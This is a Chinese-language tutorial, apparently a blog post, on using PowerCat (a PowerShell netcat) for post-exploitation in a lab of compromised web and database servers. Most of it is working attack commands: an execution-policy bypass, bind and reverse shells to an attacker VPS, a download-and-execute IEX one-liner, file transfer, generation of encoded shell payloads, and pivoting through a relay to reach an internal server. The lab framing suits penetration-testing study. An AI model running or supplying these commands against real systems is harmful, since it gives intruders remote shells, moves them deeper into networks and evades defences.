目录
PowerCat
Netcat: The powershell version. (Powershell Version 2 and Later Supported)
nc的powershell版本(支持powershell v2及以上)
github地址:https://github.com/besimorhino/powercat
导入PowerCat
进入powershell,且有git环境git clone https://github.com/besimorhino/powercat.git
cd powercat
import-module .\powercat.ps1
若异常是权限所致,直接修改权限 set-executionpolicy remotesigned
具体策略有:
Unrestricted:允许所有的脚本执行
Restricted:脚本不能运行
RemoteSigned:本地创建的脚本可以执行,但是网上下载的不允许
AllSigned:脚本有受信任的发布者签名时才能执行
Bypass:绕过安全策略执行脚本
查看是否已经导入powercat -h
主要命令:
-l 监听一个连接
-c 连接到一个监听
-p 指定端口
-e 指定一个程序执行
-ep 执行Powershell
-v 显示详细信息
-r Relay. Format: "-r tcp:10.1.1.1:443" [String]
-u Transfer data over UDP. [Switch]
-dns Transfer data over dns (dnscat2). [String]
-dnsft DNS Failure Threshold. [int32]
-t Timeout option. Default: 60 [int32]
-i Input: Filepath (string), byte array, or string. [object]
-o Console Output Type: "Host", "Bytes", or "String" [String]
-of Output File Path. [String]
-d Disconnect after connecting. [Switch]
-rep Repeater. Restart after disconnecting. [Switch]
-g Generate Payload. [Switch]
-ge Generate Encoded Payload. [Switch]
-h 打印出帮助
实验环境
Kali:192.168.101.129
WebServer:192.168.101.133 10.10.10.136
SqlServer:10.10.10.250
已拿下web和数据库服务器,kali可访问web数据库,不能访问数据库服务器,web服务器可访问数据库服务器
1. 通过nc正向连接powercat
WebServer:powercat -l -p [本地监听端口] -e cmd.exe -v
Kali:netcat [webserverIP] [webserver监听端口] -vv
2. 通过nc反向连接powercat
Kali:netcat -l -p [监听端口] -vv
WebServer:powercat -c [vpsIP] -p [vps监听端口] -v -e cmd.exe
也可以远程下载并执行powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c [vpsIP] -p [vps监听端口] -e cmd
3. 通过powercat反弹powershell
现在让数据库server反向连接webserver
WebServer:powercat -l -p [webserver监听端口] -v
SqlServer:powercat -c [webIP] -p [webserver监听端口] -v -ep(用于返回powershell)
4. 通过powercat传输文件
webserver新建calc.bat文件,放置c盘根目录下
SqlServer接收powercat -l -p [监听端口] -of 1.bat -v
WebServer:发送powercat -c [webserverIP] -p [数据库监听端口] -i c:\calc.bat -v
5. 用powercat生成payload
用powercat生成payload也有正反向之分,且可进行编码。尝试生成简单payload反弹shell
WebServer:powercat -l -p [本地监听端口] -e cmd -v -g >> shell.ps1
将生成的ps1文件上传到数据库server中执行 .\shell.ps1
powercat -c [数据库server] -p [本地监听端口] -v
如果想反弹powershellpowercat -l -p [本地监听端口] -ep -v -g >> shell.ps1
也可以直接生成经过编码的payloadpowercat -l -p [本地监听端口] -e cmd -v -ge >> shell.ps1
可以直接使用powershell -e [编码]
执行命令
但是编码后的payload太长,复制到命令窗口会报错…
6. powercat作为跳板
环境:webserver可ping数据库server和vps,vps不能访问数据库server
SqlServer:(监听)powercat -l -v -p [本地监听端口] -e cmd.exe
WebServer:(连接)powercat -l -v -p [vps监听端口] -r tcp:[sqlserverip:sqlserver监听端口]
vps:(监听)nc [webserverIP] [本地监听端口] -vv
更多用法可阅读gayhub地址的文档
GOT IT!
******************************************************
具体利用方式需根据具体实践场景~